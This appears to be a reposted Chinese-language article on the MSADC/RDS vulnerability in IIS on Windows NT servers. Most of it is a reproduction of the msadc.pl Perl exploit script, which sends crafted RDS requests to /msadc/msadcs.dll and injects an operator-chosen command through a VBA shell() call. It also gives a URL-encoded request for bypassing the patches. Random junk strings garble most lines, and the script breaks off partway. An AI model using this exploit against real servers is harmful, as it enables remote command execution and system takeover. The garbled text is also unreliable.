IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Tf>bX_L? l0|5t)jF- 涉及程序:
LP.]9ut Microsoft NT server
.yoH/2h k$n|*kCh 描述:
/J]5H 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/p/]t,-j2 |Tv#4st 详细:
z<MsKD0Q 如果你没有时间读详细内容的话,就删除:
9Gvd&U c:\Program Files\Common Files\System\Msadc\msadcs.dll
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n8Qk=K 有关的安全问题就没有了。
lov!o:dJ &)QX7*H 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Na<pwC xB@ T|EP 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
f[]dfLS"W 关于利用ODBC远程漏洞的描述,请参看:
GV1pn) 4 P9R9(quI http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm '6DBs8>1
{y)=eX9 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
CT&|QH{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5tl< 3g` ` ./$&' 这里不再论述。
B`EJb71^Xy l5~os> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
T6'^EZZY N:^n('U&j /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
kXViWOXU^ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
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y>W 21n?=[ v_yw@ #将下面这段保存为txt文件,然后: "perl -x 文件名"
t$` r4Lb9/ `~cqAs}6]Q #!perl
F/]2G^- #
\__i # MSADC/RDS 'usage' (aka exploit) script
kpuz]a7pK #
zOJ%} # by rain.forest.puppy
A@`}c,G #
Xu{1".\ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
z[N`s$; # beta test and find errors!
=0
#OU ::`HQ@^ use Socket; use Getopt::Std;
9p]QM)M getopts("e:vd:h:XR", \%args);
gM&{=WDG6 wH*-(*N" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
7 W5@TWM jVi) Efy if (!defined $args{h} && !defined $args{R}) {
vz&|J
print qq~
_T60;ZI+^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
'B|JAi? -h <host> = host you want to scan (ip or domain)
6%' QjwM_ -d <seconds> = delay between calls, default 1 second
MxKS4k -X = dump Index Server path table, if available
$z6_@`[ -v = verbose
GblA9F7 -e = external dictionary file for step 5
Y/F6\oh -E[Kml~U Or a -R will resume a command session
I^.Om]) 3<Lx&p~%T ~; exit;}
$t+,Tav RbB.q p $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_;"il%l=1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
#mxPw if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
PI {bmZ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}{Pp]*I<A $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
./Xz}<($8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$ Gf(38[w 1C+13LE$U if (!defined $args{R}){ $ret = &has_msadc;
}J}-//[A die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
%UrueMEO g _9C* print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Da*?x8sSL . "cmd /c ";
<sbu;dQ` $in=<STDIN>; chomp $in;
)$2QZ
qX $command="cmd /c " . $in ;
h4gXvPS&r hPkp;a # if (defined $args{R}) {&load; exit;}
=IZT(8 ,)cM3nu print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#\{l"- &try_btcustmr;
4>
K42m =jN.1} print "\nStep 2: Trying to make our own DSN...";
b=C*W,Q_# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
zpn9,,~u ,>a&"V^k print "\nStep 3: Trying known DSNs...";
fgTg7 m &known_dsn;
^e,. LBeF&sb6 print "\nStep 4: Trying known .mdbs...";
k t#fMd$ &known_mdb;
u[;\y|75 (XTG8W sN if (defined $args{e}){
k=$TGqQY? print "\nStep 5: Trying dictionary of DSN names...";
HQdxL*N%^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
FjHv
z_$% -6 print "Sorry Charley...maybe next time?\n";
Y(ykng exit;
6GlJ>r+n RMV/&85?y ##############################################################################
6yG^p]zZ g{)dP!} sub sendraw { # ripped and modded from whisker
C}j"Qi` sleep($delay); # it's a DoS on the server! At least on mine...
N{!i=A my ($pstr)=@_;
5{WE~8$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
UW={[h{.|@ die("Socket problems\n");
KfEx"94 if(connect(S,pack "SnA4x8",2,80,$target)){
Y1\ }5k{> select(S); $|=1;
NG=-NxEcN print $pstr; my @in=<S>;
:`#d:.@]o@ select(STDOUT); close(S);
QO:!p5^: return @in;
/{J4:N'B> } else { die("Can't connect...\n"); }}
1t~G|zhX n+9=1Oo" ##############################################################################
*8 A h+H%?:FX sub make_header { # make the HTTP request
/U*C\ xMm my $msadc=<<EOT
J1U/.`Oy POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
q[_VuA]& User-Agent: ACTIVEDATA
oH?b}T=9jz Host: $ip
xj)F55e? Content-Length: $clen
F{e@W([ Connection: Keep-Alive
(S5R!lpO oCv.Ln1;Z ADCClientVersion:01.06
t>RY7C;PuS Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
m])y.T iq8<ov
--!ADM!ROX!YOUR!WORLD!
;4\2.*s Content-Type: application/x-varg
ub0.J#j@ Content-Length: $reqlen
Z clQ Y5Bo|*b EOT
BwEN~2u6 ; $msadc=~s/\n/\r\n/g;
_.Nbt(mz return $msadc;}
SHxNr(wJ<Q s\(k<Ks ##############################################################################
|^I0dR/w: gs[uD5oo< sub make_req { # make the RDS request
pU}(@oy my ($switch, $p1, $p2)=@_;
!-x$L>1$ my $req=""; my $t1, $t2, $query, $dsn;
Ta0|+IYk< ?!:ha;n if ($switch==1){ # this is the btcustmr.mdb query
;`4&Rm9n? $query="Select * from Customers where City=" . make_shell();
>2)OiQ`zg $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
DPxM'7 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
r,3DTBe ?3,:-"(@p elsif ($switch==2){ # this is general make table query
qr^3R&z!} $query="create table AZZ (B int, C varchar(10))";
ZQsJL\x[UK $dsn="$p1";}
P1 8hxXE3 i#/Jr= elsif ($switch==3){ # this is general exploit table query
{lDd.Fn $query="select * from AZZ where C=" . make_shell();
=o(5_S.u; $dsn="$p1";}
SM#]H-3 i>A s;* elsif ($switch==4){ # attempt to hork file info from index server
gfd"v $query="select path from scope()";
g)[V(yWu $dsn="Provider=MSIDXS;";}
rU:`*b< /t57!& elsif ($switch==5){ # bad query
Vb;*m5,?: $query="select";
t9` .bx8 $dsn="$p1";}
#Y`~(K47 ?
(Oy\ $t1= make_unicode($query);
N)| yu1S $t2= make_unicode($dsn);
6<SAa#@ey $req = "\x02\x00\x03\x00";
%lhEM}Sm $req.= "\x08\x00" . pack ("S1", length($t1));
c|y(2K)o[= $req.= "\x00\x00" . $t1 ;
/{l$sBUL $req.= "\x08\x00" . pack ("S1", length($t2));
}OR@~V{Gj $req.= "\x00\x00" . $t2 ;
G6P?2@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
E0=)HTtS return $req;}
,eW%{[g( ^ogt+6c ##############################################################################
GW@;}m( sqwGsO$# sub make_shell { # this makes the shell() statement
jXx<`I+] return "'|shell(\"$command\")|'";}
Yui3+}Ms F#Ryu~," ##############################################################################
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